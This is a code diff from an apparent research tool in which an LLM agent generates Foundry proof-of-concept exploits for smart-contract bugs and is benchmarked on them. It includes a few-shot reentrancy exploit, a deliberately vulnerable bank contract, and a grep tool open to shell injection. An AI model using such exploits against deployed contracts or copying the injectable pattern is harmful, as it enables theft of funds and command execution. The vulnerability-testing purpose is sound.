-    - CRITICAL: You MUST actually instantiate the target contract (e.g. \`target = new TargetContract(...)\`).
-    - MANDATORY: The instance variable MUST be named \`target\`, and the very last line of \`setUp()\` MUST be: \`require(address(target) != address(0), "Target must be deployed");\`
-4. Declare an EMPTY function named \`test_Exploit()\`. Leave the body exactly as: \`// INJECT_HACK\`
-5. Output ONLY a single \`\`\`solidity ... \`\`\` block.
-6. STRICT RULE: DO NOT WRITE ANY COMMENTS (like // or /*) EXCEPT for the SPDX identifier and the // INJECT_HACK marker. Writing explanatory comments will cause compilation to fail!
-
-Target Contract Name: {TARGET_NAME}
-`.trim();
-
-export const INFRA_FIX_PROMPT = `The infrastructure template FAILED TO COMPILE OR EXECUTE. 
-Your job is to fix the issues so it compiles and executes successfully.
-
-## Errors / Logs:
-{ERROR_DETAILS}
-
-## Rules
-- Fix missing files by adjusting import paths using the Remappings.
-- If an external dependency cannot be imported, declare a minimal interface for it in the same file.
-- If the target contract requires specific parameters, interfaces, or structs in its constructor or setup, **USE YOUR TOOLS (searchCodebase, readFile)** to find where those are defined in the project, and add the correct \`import\` statements. DO NOT GUESS import paths.
-- Keep the \`test_Exploit()\` function empty with exactly: \`// INJECT_HACK\`
-- The \`setUp()\` function MUST instantiate the target and end with: \`require(address(target) != address(0), "Target must be deployed");\`
-- Return the full corrected Solidity file in a \`\`\`solidity\`\`\` block.
-`.trim();
-
-export const EXPLOIT_INJECTION_PROMPT = `You are an expert Smart Contract Security Auditor.
-We have already prepared a perfectly compiling Foundry test environment (the Template) that deploys the contract.
-
-
-## The Environment (DO NOT MODIFY OR RE-DECLARE)
-\`\`\`solidity
-{TEMPLATE_CODE}
-\`\`\`
-
-## Rules
-1. You MUST output the ENTIRE Solidity file, from the SPDX license to the end of the contract.
-2. You MUST keep the \`setUp()\` function exactly as it is in the Template (including the target deployment and \`require\` checks).
-3. If you need external structs or interfaces (e.g. for function parameters), you MUST **USE YOUR TOOLS (searchCodebase, readFile)** to find their exact file paths and add \`import\` statements at the top. DO NOT GUESS import paths! Alternatively, you can use low-level \`.call(abi.encodeWithSignature(...))\` to bypass struct definitions entirely.
-4. Write your PoC logic INSIDE \`function test_Exploit() { ... }\`. Use the variables already declared in the Template.
-5. The PoC MUST conclude with a strict Foundry assertion (assertEq, assertGt, etc.) that proves the vulnerability exists.
-6. NEVER redefine the target contract inside the test file or use \`try/catch\`.
-7. STRICT RULE: DO NOT WRITE ANY COMMENTS (like // or /*) ANYWHERE in the code. Writing explanatory or placeholder comments is strictly forbidden and will be rejected!
-8. CHAIN OF THOUGHT: Before writing the code, you MUST write your step-by-step reasoning inside \`<thinking>...\</thinking>\` tags. Think about how to trigger the vulnerability without using Mocks and without writing comments.
-9. Output ONLY your full test file enclosed in a \`\`\`solidity ... \`\`\` block immediately after the thinking tags.
-
-## Few-Shot Example (Perfect Exploit Formatting)
-<thinking>
-I need to exploit a reentrancy. I cannot use comments. I will create a MaliciousReceiver contract inside the same file but OUTSIDE the ExploitTest contract. I will not use Mock contracts.
-</thinking>
-\`\`\`solidity
-// SPDX-License-Identifier: UNLICENSED
-pragma solidity ^0.8.0;
-
-import "forge-std/Test.sol";
-import "../src/Target.sol";
-
-contract MaliciousReceiver {
-    Target target;
-    constructor(Target _target) { target = _target; }
-    receive() external payable {
-        if (address(target).balance > 0) {
-            target.withdraw(1 ether);
-        }
-    }
-}
-
-contract ExploitTest is Test {
-    Target target;
-    address constant ATTACKER = address(0xBEEF);
-
-    function setUp() public {
-        target = new Target();
-        vm.deal(ATTACKER, 100 ether);
-        require(address(target) != address(0), "Target must be deployed");
-    }
-
-    function test_Exploit() public {
-        vm.startPrank(ATTACKER);
-        MaliciousReceiver receiver = new MaliciousReceiver(target);
-        target.deposit{value: 1 ether}();
-        target.withdraw(1 ether);
-        vm.stopPrank();
-        assertGt(ATTACKER.balance, 100 ether);
-    }
-}
-\`\`\`
-`.trim();
-
-export const EXPLOIT_FIX_PROMPT = `The injected PoC FAILED during execution or validation.
-
-## Execution Error / Logs:
-{ERROR_DETAILS}
-
-## Previous PoC Body:
-\`\`\`solidity
-{EXPLOIT_BODY}
-\`\`\`
-
-## Rules
-- Analyze the execution failure and rewrite the full PoC file.
-- If you had "Identifier not found" or "Source not found" errors, **USE YOUR TOOLS (searchCodebase, readFile)** to find the exact file and add the correct new imports, or use low-level calls. DO NOT GUESS import paths!
-- CHAIN OF THOUGHT: Write your reasoning inside \`<thinking>...\</thinking>\` tags BEFORE the code.
-- Output the FULL Solidity file enclosed in a \`\`\`solidity\`\`\` block.
-`.trim();

src/agents/tester/state.ts

@@ -1,4 +1,5 @@
 import { Annotation } from "@langchain/langgraph";
+import { BaseMessage } from "@langchain/core/messages";
 import { VulnerabilityReport, OracleContext } from "./types.js";
 
 export const PoCStateAnnotation = Annotation.Root({
@@ -24,6 +25,11 @@ export const PoCStateAnnotation = Annotation.Root({
     reducer: (_, y) => y,           // overwrite — only the hack logic
   }),
 
+  vulnerabilityCategory: Annotation<string>({
+    default: () => "",
+    reducer: (_, y) => y,           // overwrite
+  }),
+
   infrastructurePhase: Annotation<boolean>({
     default: () => true,
     reducer: (_, y) => y,           // overwrite — true while fixing imports
@@ -39,6 +45,21 @@ export const PoCStateAnnotation = Annotation.Root({
     reducer: (x, y) => x.concat(y), // append — never lose previous logs
   }),
 
+  messages: Annotation<BaseMessage[]>({
+    default: () => [],
+    reducer: (x, y) => x.concat(y),
+  }),
+
+  toolCallCount: Annotation<number>({
+    default: () => 0,
+    reducer: (x, y) => x + y,
+  }),
+
+  totalCost: Annotation<number>({
+    default: () => 0,
+    reducer: (x, y) => x + y,
+  }),
+
   lastError: Annotation<string | null>({
     default: () => null,
     reducer: (_, y) => y,           // overwrite — last error analysis

src/agents/tester/tools.ts

@@ -0,0 +1,252 @@
+import { tool } from "@langchain/core/tools";
+import { z } from "zod";
+import fs from "fs/promises";
+import path from "path";
+import { exec } from "child_process";
+import { promisify } from "util";
+
+const execAsync = promisify(exec);
+
+// ---------------------------------------------------------------------------
+// Exploration Tools (Basic Tools)
+// ---------------------------------------------------------------------------
+
+export const readFileTool = tool(
+  async ({ filePath }, config) => {
+    try {
+      // The sandboxDir is passed in via the config.configurable object
+      const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
+      const absolutePath = path.resolve(sandboxDir, filePath);
+      
+      // Prevent directory traversal outside sandbox
+      if (!absolutePath.startsWith(path.resolve(sandboxDir))) {
+        return "Error: Access denied. Cannot read files outside the project sandbox.";
+      }
+
+      const content = await fs.readFile(absolutePath, "utf-8");
+      return content;
+    } catch (e: any) {
+      return `Error reading file: ${e.message}`;
+    }
+  },
+  {
+    name: "read_file",
+    description: "Reads the contents of a specific file in the project.",
+    schema: z.object({
+      filePath: z.string().describe("The relative path to the file to read (e.g. 'src/Vault.sol')"),
+    }),
+  }
+);
+
+export const listDirTool = tool(
+  async ({ dirPath }, config) => {
+    try {
+      const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
+      const absolutePath = path.resolve(sandboxDir, dirPath || ".");
+      
+      if (!absolutePath.startsWith(path.resolve(sandboxDir))) {
+        return "Error: Access denied. Cannot list directories outside the project sandbox.";
+      }
+
+      const files = await fs.readdir(absolutePath, { withFileTypes: true });
+      return files.map(f => `${f.isDirectory() ? '[DIR]' : '[FILE]'} ${f.name}`).join("\n");
+    } catch (e: any) {
+      return `Error listing directory: ${e.message}`;
+    }
+  },
+  {
+    name: "list_dir",
+    description: "Lists files and directories in a given path to understand project structure.",
+    schema: z.object({
+      dirPath: z.string().optional().describe("The relative path to the directory (e.g. 'src' or 'test/mocks'). Defaults to root."),
+    }),
+  }
+);
+
+export const grepSearchTool = tool(
+  async ({ query, dirPath }, config) => {
+    try {
+      const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
+      const targetDir = path.resolve(sandboxDir, dirPath || ".");
+      
+      // Use grep -rnw to search recursively
+      // Note: In a real production system, use a safe regex/grep library or escape properly.
+      const cmd = `grep -rn "${query.replace(/"/g, '\\"')}" ${targetDir} | head -n 50`;
+      
+      const { stdout } = await execAsync(cmd);
+      return stdout || "No matches found.";
+    } catch (e: any) {
+      // grep returns exit code 1 if no matches are found
+      if (e.code === 1) return "No matches found.";
+      return `Error executing search: ${e.message}`;
+    }
+  },
+  {
+    name: "grep_search",
+    description: "Searches the codebase recursively for specific symbols, variable names, or interfaces.",
+    schema: z.object({
+      query: z.string().describe("The text or symbol to search for (e.g. 'interface IERC20' or 'withdraw(')"),
+      dirPath: z.string().optional().describe("The relative directory to search in (e.g. 'src'). Defaults to root."),
+    }),
+  }
+);
+
+// ---------------------------------------------------------------------------
+// Modification Tools (File Editing)
+// ---------------------------------------------------------------------------
+
+export const writeFileTool = tool(
+  async ({ filePath, content }, config) => {
+    try {
+      const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
+      const absolutePath = path.resolve(sandboxDir, filePath);
+      
+      if (!absolutePath.startsWith(path.resolve(sandboxDir))) {
+        return "Error: Access denied. Cannot write files outside the project sandbox.";
+      }
+
+      // Ensure directory exists
+      await fs.mkdir(path.dirname(absolutePath), { recursive: true });
+      await fs.writeFile(absolutePath, content, "utf-8");
+      
+      return `Successfully wrote to ${filePath}`;
+    } catch (e: any) {
+      return `Error writing file: ${e.message}`;
+    }
+  },
+  {
+    name: "write_file",
+    description: "Writes or overwrites a file with the provided content. Primarily used to write 'test/Exploit.t.sol'.",
+    schema: z.object({
+      filePath: z.string().describe("The relative path to write to (e.g. 'test/Exploit.t.sol')"),
+      content: z.string().describe("The full content of the file to write."),
+    }),
+  }
+);
+
+// ---------------------------------------------------------------------------
+// Smart Contract Tools (Execution Feedback)
+// ---------------------------------------------------------------------------
+
+export const smartContractCompileTool = tool(
+  async (_, config) => {
+    try {
+      const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
+      
+      const { stdout, stderr } = await execAsync(
+        "forge build",
+        { 
+          cwd: sandboxDir, 
+          timeout: 30000,
+          env: { ...process.env, PATH: `${process.env.HOME}/.foundry/bin:${process.env.PATH}` } 
+        }
+      );
+      
+      const out = stdout ? String(stdout).slice(-15000) : "";
+      const errOut = stderr ? String(stderr).slice(-15000) : "";
+      return `Compilation Successful:\nSTDOUT:\n${out}\nSTDERR:\n${errOut}`;
+    } catch (err: any) {
+      if (err.killed || err.signal === "SIGTERM") {
+        return "Error: Compilation timed out after 30s.";
+      }
+      const out = err.stdout ? String(err.stdout).slice(-15000) : "";
+      const errOut = err.stderr ? String(err.stderr).slice(-15000) : "";
+      return `Compilation Failed:\nSTDOUT:\n${out}\nSTDERR:\n${errOut}`;
+    }
+  },
+  {
+    name: "smart_contract_compile",
+    description: "Runs 'forge build' to compile the smart contracts and tests. Returns stdout and stderr. Use this to check for syntax errors before testing.",
+    schema: z.object({}),
+  }
+);
+
+export const smartContractTestTool = tool(
+  async ({ testMatch }, config) => {
+    try {
+      const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
+      const matchArg = testMatch ? `--match-contract ${testMatch}` : "";
+      
+      const { stdout, stderr } = await execAsync(
+        `forge test ${matchArg} -vvvv`,
+        { 
+          cwd: sandboxDir, 
+          timeout: 60000,
+          env: { ...process.env, PATH: `${process.env.HOME}/.foundry/bin:${process.env.PATH}` } 
+        }
+      );
+      
+      const out = stdout ? String(stdout).slice(-15000) : "";
+      const errOut = stderr ? String(stderr).slice(-15000) : "";
+      return `Test Passed Successfully!\nSTDOUT:\n${out}\nSTDERR:\n${errOut}`;
+    } catch (err: any) {
+      if (err.killed || err.signal === "SIGTERM") {
+        return "Error: Test execution timed out after 60s.";
+      }
+      const out = err.stdout ? String(err.stdout).slice(-15000) : "";
+      const errOut = err.stderr ? String(err.stderr).slice(-15000) : "";
+      return `Test Failed:\nSTDOUT:\n${out}\nSTDERR:\n${errOut}`;
+    }
+  },
+  {
+    name: "smart_contract_test",
+    description: "Runs 'forge test -vvvv' to execute the PoC exploit. Returns the execution traces and assertions. Crucial for verifying if the exploit works or why it reverted.",
+    schema: z.object({
+      testMatch: z.string().optional().describe("Optional test contract name to match (e.g. 'ExploitTest')"),
+    }),
+  }
+);
+
+// ---------------------------------------------------------------------------
+// Planning Tool
+// ---------------------------------------------------------------------------
+
+export const todoPlannerTool = tool(
+  async ({ action, task }, config) => {
+    try {
+      const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
+      const todoPath = path.resolve(sandboxDir, "todo_plan.txt");
+      
+      if (action === "read") {
+        try {
+          return await fs.readFile(todoPath, "utf-8");
+        } catch {
+          return "No tasks found. Todo list is empty.";
+        }
+      }
+      
+      if (action === "add" && task) {
+        await fs.appendFile(todoPath, `- [ ] ${task}\n`);
+        return `Added task: ${task}`;
+      }
+      
+      if (action === "update" && task) {
+        // Overwrite with the full new state provided by the LLM
+        await fs.writeFile(todoPath, task);
+        return "Todo list updated.";
+      }
+      
+      return "Invalid action.";
+    } catch (e: any) {
+      return `Error with planner: ${e.message}`;
+    }
+  },
+  {
+    name: "todo_planner",
+    description: "A lightweight planning utility to organize tasks. Actions: 'read' to view tasks, 'add' to append a task, 'update' to overwrite the whole list with new state.",
+    schema: z.object({
+      action: z.enum(["read", "add", "update"]).describe("The action to perform."),
+      task: z.string().optional().describe("The task text to add, or the full new list to update."),
+    }),
+  }
+);
+
+export const pocoTools = [
+  readFileTool,
+  listDirTool,
+  grepSearchTool,
+  writeFileTool,
+  smartContractCompileTool,
+  smartContractTestTool,
+  todoPlannerTool
+];

src/agents/tester/tools/codebaseTools.ts

@@ -1,65 +0,0 @@
-import { tool } from "@langchain/core/tools";
-import { z } from "zod";
-import { exec } from "child_process";
-import { promisify } from "util";
-import fs from "fs/promises";
-import path from "path";
-
-const execAsync = promisify(exec);
-
-export const createSearchCodebaseTool = (sandboxDir: string) => {
-  return tool(
-    async ({ query }) => {
-      try {
-        // Find .sol files containing the query in the sandboxDir
-        const { stdout } = await execAsync(`grep -rn --include="*.sol" "${query}" .`, { cwd: sandboxDir });
-        const lines = stdout.split("\n").filter(l => l.trim() !== "");
-        if (lines.length === 0) return "No results found.";
-        
-        const preview = lines.slice(0, 30);
-        const truncatedMsg = lines.length > 30 ? `\n...and ${lines.length - 30} more results.` : "";
-        return `Found ${lines.length} results. Showing first 30:\n${preview.join("\n")}${truncatedMsg}`;
-      } catch (e: any) {
-        if (e.code === 1) return "No results found."; // grep exit code 1 means no match
-        return `Error searching codebase: ${e.message}`;
-      }
-    },
-    {
-      name: "searchCodebase",
-      description: "Searches the codebase for a specific string (like a struct, contract name, or interface) and returns the file paths and matching lines.",
-      schema: z.object({
-        query: z.string().describe("The exact string to search for. Keep it simple, e.g. 'LiquidateWithReplacementParams' or 'SizeFactory'"),
-      }),
-    }
-  );
-};
-
-export const createReadFileTool = (sandboxDir: string) => {
-  return tool(
-    async ({ filePath }) => {
-      try {
-        const fullPath = path.resolve(sandboxDir, filePath);
-        // Security check to avoid path traversal
-        if (!fullPath.startsWith(path.resolve(sandboxDir))) {
-          return "Error: Cannot read files outside the sandbox directory.";
-        }
-        const content = await fs.readFile(fullPath, "utf-8");
-        
-        // Truncate if extremely large to save context window, though Solidity files are usually small enough
-        if (content.length > 20000) {
-           return content.slice(0, 20000) + "\n\n... [TRUNCATED] File too large.";
-        }
-        return content;
-      } catch (e: any) {
-        return `Error reading file: ${e.message}`;
-      }
-    },
-    {
-      name: "readFile",
-      description: "Reads the content of a specific file. Pass the relative file path returned by searchCodebase.",
-      schema: z.object({
-        filePath: z.string().describe("The relative path of the file to read (e.g. 'src/Size.sol')"),
-      }),
-    }
-  );
-};

src/agents/tester/utils/extractSolidity.ts

@@ -1,16 +1,28 @@
 export function extractSolidity(llmOutput: string): string {
-  // Caso 1: bloco ```solidity ... ``` padrão
-  const match = llmOutput.match(/```solidity\s*([\s\S]*?)```/);
-  if (match) return match[1].trim();
+  let cleaned = llmOutput.trim();
 
-  // Caso 2: LLM omitiu backticks mas começa com pragma/SPDX
-  const trimmed = llmOutput.trim();
-  if (trimmed.startsWith("// SPDX") || trimmed.startsWith("pragma")) {
-    return trimmed;
+  // Bulletproof extraction: find SPDX or pragma and slice from there
+  const spdxIndex = cleaned.indexOf("// SPDX");
+  const pragmaIndex = cleaned.indexOf("pragma solidity");
+
+  let startIndex = -1;
+  if (spdxIndex !== -1 && pragmaIndex !== -1) {
+    startIndex = Math.min(spdxIndex, pragmaIndex);
+  } else if (spdxIndex !== -1) {
+    startIndex = spdxIndex;
+  } else if (pragmaIndex !== -1) {
+    startIndex = pragmaIndex;
+  }
+
+  if (startIndex !== -1) {
+    // Slice from start index
+    cleaned = cleaned.slice(startIndex);
+    // Remove trailing backticks
+    cleaned = cleaned.replace(/\n?```[a-zA-Z]*\s*$/, "");
+    return cleaned.trim();
   }
 
-  // Caso 3: output inválido — lançar erro descritivo
   throw new Error(
-    `LLM output não contém bloco Solidity válido. Preview: "${llmOutput.slice(0, 200)}"`
+    `LLM output não contém bloco Solidity válido (faltou SPDX ou pragma). Preview: "${cleaned.slice(0, 200)}"`
   );
 }

src/agents/tester/utils/parserUtils.ts

@@ -14,7 +14,7 @@ export function extractConstructor(sourceCode: string, contractName: string): Co
       ContractDefinition: (node) => {
         if (node.name === contractName) {
           for (const part of node.subNodes) {
-            if (part.type === "FunctionDefinition" && part.isConstructor) {
+            if (part.type === "FunctionDefinition" && (part as any).isConstructor) {
               found = true;
               if (part.range) {
                   constructorParams = sourceCode.slice(part.range[0], part.range[1]).split("{")[0].trim();

src/benchmark/runFinalEvaluation.ts

@@ -15,8 +15,11 @@ async function runEvaluation() {
   const metadata = JSON.parse(metadataStr);
   const cases = Object.keys(metadata);
   
-  // Limitado a 1 projeto (054 - Cally) para observação empírica de simplicidade
-  const targetCases = ["054"];
+  // Configurações Globais
+  const MAX_CASES = 1;
+  const TIMEOUT_MS = 3 * 60 * 1000; // 3 minutos por caso
+  
+  const targetCases = cases.slice(0, MAX_CASES);
   console.log(`Iniciando avaliação final para ${targetCases.length} projetos...`);
 
   // Prepara o arquivo CSV
@@ -33,7 +36,9 @@ async function runEvaluation() {
     "B_Exploit_Iters",
     "B_Final_Error",
     "PoC_Code",
-    "Patch_Diff"
+    "Patch_Diff",
+    "A_Execution_Logs",
+    "B_Execution_Logs"
   ];
   
   await fs.mkdir(path.join(process.cwd(), "data"), { recursive: true });
@@ -55,7 +60,7 @@ async function runEvaluation() {
     
     if (!setupInfo) {
       console.log(`[${caseId}] Falha crítica no setup inicial.`);
-      appendCsvRow([caseId, "0", "FALSE", "FALSE", "FALSE", "0", "SETUP_FAILED", "0", "", "", ""]);
+      appendCsvRow([caseId, "0", "FALSE", "FALSE", "FALSE", "0", "SETUP_FAILED", "0", "", "", "", "", ""]);
       continue;
     }
 
@@ -98,15 +103,21 @@ async function runEvaluation() {
       patchDiff
     };
 
-    const resultA = await testerAgent.invoke({ report: reportA }, { recursionLimit: 100 }) as PoCResult;
+    const resultA = await testerAgent.invoke({ report: reportA }, { recursionLimit: 100 }) as any;
     let reproducible = resultA.status === "success";
     let specific = false;
+    
+    // Ler o PoC gerado diretamente do sandbox, já que o ReAct agent usa write_file
     let pocCodeStr = "";
+    try {
+      pocCodeStr = await fs.readFile(path.join(sandboxDir, "test", "Exploit.t.sol"), "utf8");
+    } catch {
+      pocCodeStr = resultA.pocCode || "";
+    }
 
     // Se reproduziu, testa a especificidade aplicando o patch
     if (reproducible) {
       console.log(`\n[CENÁRIO A] Reproduzível! PoC gerado com sucesso. Testando especificidade no patch...`);
-      pocCodeStr = resultA.pocCode || resultA.solidityCode;
       
       const patchApplied = await applyPatchSmart(caseId, sandboxDir);
       if (patchApplied) {
@@ -127,6 +138,7 @@ async function runEvaluation() {
     }
 
     const lastErrorA = (resultA as any).lastError || (resultA.status === "success" ? "" : "TIMEOUT");
+    const logsA = Buffer.from(((resultA as any).executionLogs || []).join("\n---\n")).toString("base64");
 
     // ==========================================
     // CENÁRIO B: Teste de Falso Positivo (Patch)
@@ -139,6 +151,7 @@ async function runEvaluation() {
     let falsePositiveRejected = false;
     let resultB: Partial<PoCResult> = { iterations: 0, status: "failed" };
     let lastErrorB = "";
+    let logsB = "";
 
     if (setupInfoB) {
       // Aplica o patch ANTES de chamar o agente (tornando o código seguro)
@@ -159,7 +172,7 @@ async function runEvaluation() {
           patchDiff: undefined // Oculta o patch diff do LLM para este cenário
         };
 
-        resultB = await testerAgent.invoke({ report: reportB }, { recursionLimit: 100 }) as PoCResult;
+        resultB = await testerAgent.invoke({ report: reportB }, { recursionLimit: 100 }) as any;
         
         // Se falhou em gerar exploit, REJEITOU com sucesso o falso positivo!
         if (resultB.status !== "success") {
@@ -169,6 +182,7 @@ async function runEvaluation() {
           console.log(`\n[CENÁRIO B] ALUCINAÇÃO CRÍTICA! Agente hackeou um código que já estava corrigido.`);
         }
         lastErrorB = (resultB as any).lastError || (resultB.status === "success" ? "" : "TIMEOUT");
+        logsB = Buffer.from(((resultB as any).executionLogs || []).join("\n---\n")).toString("base64");
       }
     }
 
@@ -187,8 +201,10 @@ async function runEvaluation() {
       (resultB as any).infraIterations || 0,
       (resultB as any).exploitIterations || 0,
       lastErrorB,
-      reproducible ? escapeCsv(pocCodeStr) : "",
-      reproducible ? escapeCsv(patchDiff) : ""
+      Buffer.from(pocCodeStr).toString("base64"),
+      reproducible ? Buffer.from(patchDiff).toString("base64") : "",
+      logsA,
+      logsB
     ]);
 
     console.log(`[${caseId}] Avaliação concluída em ${totalTimeSec}s. Salvo no CSV.`);

src/benchmark/runSyntheticEvaluation.ts

@@ -0,0 +1,140 @@
+import "dotenv/config";
+import fs from "fs/promises";
+import path from "path";
+import { execSync } from "child_process";
+import { testerAgent } from "../agents/tester/agent.js";
+import { VulnerabilityReport } from "../agents/tester/types.js";
+
+const JSONL_FILE = path.join(process.cwd(), "data", "benchmark_synthetic.jsonl");
+const TEMP_DIR = path.join(process.cwd(), "temp_eval_run");
+const CSV_FILE = path.join(process.cwd(), "data", "synthetic_evaluation_results.csv");
+
+async function parseJSONL(filepath: string) {
+  const content = await fs.readFile(filepath, "utf8");
+  return content.split("\n").filter(l => l.trim().length > 0).map(l => JSON.parse(l));
+}
+
+async function createEmptyFoundryProject(targetDir: string, sourceCode: string, contractName: string) {
+  await fs.mkdir(targetDir, { recursive: true });
+  execSync("forge init --no-git --force", { 
+    cwd: targetDir,
+    env: { ...process.env, PATH: `${process.env.PATH}:/home/tales/.foundry/bin` }
+  });
+  
+  // Clean up default files
+  await fs.rm(path.join(targetDir, "src", "Counter.sol"), { force: true });
+  await fs.rm(path.join(targetDir, "test", "Counter.t.sol"), { force: true });
+  await fs.rm(path.join(targetDir, "script", "Counter.s.sol"), { force: true });
+
+  // Write vulnerable contract
+  await fs.writeFile(path.join(targetDir, "src", `${contractName}.sol`), sourceCode);
+}
+
+function appendCsvRow(row: string[]) {
+  const line = row.map(cell => `"${String(cell).replace(/"/g, '""')}"`).join(";") + "\n";
+  import("fs").then(m => m.appendFileSync(CSV_FILE, line));
+}
+
+async function runEvaluation() {
+  const cases = await parseJSONL(JSONL_FILE);
+  
+  // Only evaluate easy and intermediate for now
+  const targetCases = cases.filter(c => c.complexity !== "hard");
+  console.log(`Iniciando avaliação para ${targetCases.length} projetos sintéticos...`);
+
+  const csvHeaders = [
+    "Task_ID",
+    "Complexity",
+    "Time_Sec",
+    "Pass_at_1",
+    "Tool_Calls",
+    "Total_Cost_USD",
+    "Final_Status",
+    "Error_Msg"
+  ];
+  
+  await fs.mkdir(path.join(process.cwd(), "data"), { recursive: true });
+  await fs.writeFile(CSV_FILE, csvHeaders.join(";") + "\n");
+
+  let totalCost = 0;
+  let passed = 0;
+
+  for (const c of targetCases) {
+    console.log(`\n\n${"=".repeat(60)}`);
+    console.log(`=== INICIANDO CASO: ${c.task_id} ===`);
+    console.log(`${"=".repeat(60)}`);
+
+    const startTime = Date.now();
+    const sandboxDir = path.join(TEMP_DIR, c.repo_name);
+    
+    // Setup Forge
+    const contractName = c.repo_name.replace(/-/g, ""); // Simplified contract name parsing
+    await createEmptyFoundryProject(sandboxDir, c.source_code, contractName);
+
+    const report: VulnerabilityReport = {
+      id: c.task_id,
+      severity: c.impact || "high",
+      type: c.expected_vulnerability,
+      title: c.task_id,
+      description: c.annotation,
+      affectedContract: { name: contractName, sourceCode: c.source_code, sourceFilePath: `src/${contractName}.sol` },
+      attackVector: c.expected_vulnerability,
+      customSandboxDir: sandboxDir
+    };
+
+    console.log(`[CENÁRIO SINTÉTICO] Gerando exploit para ${c.task_id}...`);
+    
+    const result = await testerAgent.invoke(
+      { report },
+      { 
+        recursionLimit: 100,
+        configurable: { sandboxDir }
+      }
+    ) as any;
+    
+    const timeSec = ((Date.now() - startTime) / 1000).toFixed(1);
+    const passAt1 = result.status === "success";
+    const toolCalls = result.toolCallCount || 0;
+    const cost = result.totalCost || 0;
+
+    totalCost += cost;
+    if (passAt1) passed++;
+
+    console.log(`=> Status: ${result.status} | Tools: ${toolCalls} | Cost: $${cost.toFixed(2)} | Time: ${timeSec}s`);
+    
+    if (!passAt1) {
+       console.log("--- LLM HISTORY ---");
+       for (const m of result.messages) {
+           console.log(`[${m._getType()}] ${m.content.substring(0, 200)}...`);
+           if (m._getType() === "ai" && m.tool_calls) {
+               console.log("Tool calls:", JSON.stringify(m.tool_calls));
+           }
+           if (m._getType() === "tool" && m.name === "smart_contract_test") {
+               console.log("Test Output:", m.content);
+           }
+       }
+       console.log("-------------------");
+    }
+
+    appendCsvRow([
+      c.task_id,
+      c.complexity,
+      timeSec,
+      passAt1 ? "TRUE" : "FALSE",
+      toolCalls.toString(),
+      cost.toFixed(4),
+      result.status,
+      result.lastError || ""
+    ]);
+  }
+
+  console.log(`\n\nAVALIAÇÃO CONCLUÍDA!`);
+  console.log(`Accuracy (Pass@1): ${((passed / targetCases.length) * 100).toFixed(1)}% (${passed}/${targetCases.length})`);
+  console.log(`Total Cost: $${totalCost.toFixed(2)}`);
+  console.log(`Resultados em: ${CSV_FILE}`);
+}
+
+runEvaluation().catch(err => {
+  console.error("Fatal error during evaluation:", err);
+  process.exit(1);
+});

tests/centrifuge_flat.sol

@@ -1,71 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-pragma solidity 0.8.21;
-
-interface IERC20 {
-    function totalSupply() external view returns (uint256);
-    function balanceOf(address account) external view returns (uint256);
-    function transfer(address recipient, uint256 amount) external returns (bool);
-    function allowance(address owner, address spender) external view returns (uint256);
-    function approve(address spender, uint256 amount) external returns (bool);
-    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
-}
-
-interface IERC4626 is IERC20 {
-    function asset() external view returns (address);
-}
-
-interface InvestmentManagerLike {
-    function processDeposit(address receiver, uint256 assets) external returns (uint256);
-    function processMint(address receiver, uint256 shares) external returns (uint256);
-    function maxDeposit(address user, address _tranche) external view returns (uint256);
-    function maxMint(address user, address _tranche) external view returns (uint256);
-    function requestDeposit(uint256 assets, address receiver) external;
-}
-
-contract Auth {
-    mapping (address => uint) public wards;
-    function rely(address usr) external auth { wards[usr] = 1; }
-    function deny(address usr) external auth { wards[usr] = 0; }
-    modifier auth {
-        require(wards[msg.sender] == 1, "not-authorized");
-        _;
-    }
-}
-
-contract LiquidityPool is Auth {
-    uint64 public poolId;
-    bytes16 public trancheId;
-    address public immutable asset;
-    address public immutable share;
-    InvestmentManagerLike public investmentManager;
-
-    constructor(uint64 poolId_, bytes16 trancheId_, address asset_, address share_, address investmentManager_) {
-        poolId = poolId_;
-        trancheId = trancheId_;
-        asset = asset_;
-        share = share_;
-        investmentManager = InvestmentManagerLike(investmentManager_);
-        wards[msg.sender] = 1;
-    }
-
-    modifier withApproval(address owner) {
-        require(msg.sender == owner, "LiquidityPool/no-approval");
-        _;
-    }
-
-    function deposit(uint256 assets, address receiver) public withApproval(receiver) returns (uint256 shares) {
-        shares = investmentManager.processDeposit(receiver, assets);
-    }
-
-    function mint(uint256 shares, address receiver) public withApproval(receiver) returns (uint256 assets) {
-        assets = investmentManager.processMint(receiver, shares);
-    }
-
-    function maxDeposit(address receiver) public view returns (uint256) {
-        return investmentManager.maxDeposit(receiver, address(this));
-    }
-
-    function maxMint(address receiver) external view returns (uint256 maxShares) {
-        return investmentManager.maxMint(receiver, address(this));
-    }
-}

tests/e2e/poc-generator.test.ts

@@ -1,39 +0,0 @@
-import { describe, expect, it } from "vitest";
-
-import { runPoCGenerator } from "../../src/agents/tester/index.js";
-import { VulnerabilityReport } from "../../src/agents/tester/types.js";
-
-const VULNERABLE_BANK = `
-pragma solidity ^0.8.20;
-contract VulnerableBank {
-    mapping(address => uint) public balances;
-    function deposit() external payable { balances[msg.sender] += msg.value; }
-    function withdraw() external {
-        uint amount = balances[msg.sender];
-        (bool ok,) = msg.sender.call{value: amount}("");
-        require(ok);
-        balances[msg.sender] = 0;  // atualiza DEPOIS — reentrancy
-    }
-    receive() external payable {}
-}`.trim();
-
-const mockReport: VulnerabilityReport = {
-  id: "e2e-reentrancy-001",
-  severity: "high",
-  type: "reentrancy",
-  title: "Reentrancy em withdraw()",
-  description: "withdraw() envia ETH antes de zerar o saldo, permitindo re-entrada.",
-  affectedContract: { name: "VulnerableBank", sourceCode: VULNERABLE_BANK },
-  attackVector: "Contrato atacante com fallback() que chama withdraw() novamente antes do saldo ser zerado.",
-  suggestedCheatcodes: ["vm.deal", "vm.startPrank", "vm.stopPrank"],
-};
-
-describe("PoC generator (e2e)", () => {
-  it("generates a PoC from a vulnerability report", async () => {
-    const result = await runPoCGenerator(mockReport);
-
-    expect(result.status).toBe("success");
-    expect(result.solidityCode).toContain("test_Exploit");
-    expect(result.executionLogs.length).toBeGreaterThan(0);
-  }, 120000);
-});

tests/run-centrifuge-test.ts

@@ -1,44 +0,0 @@
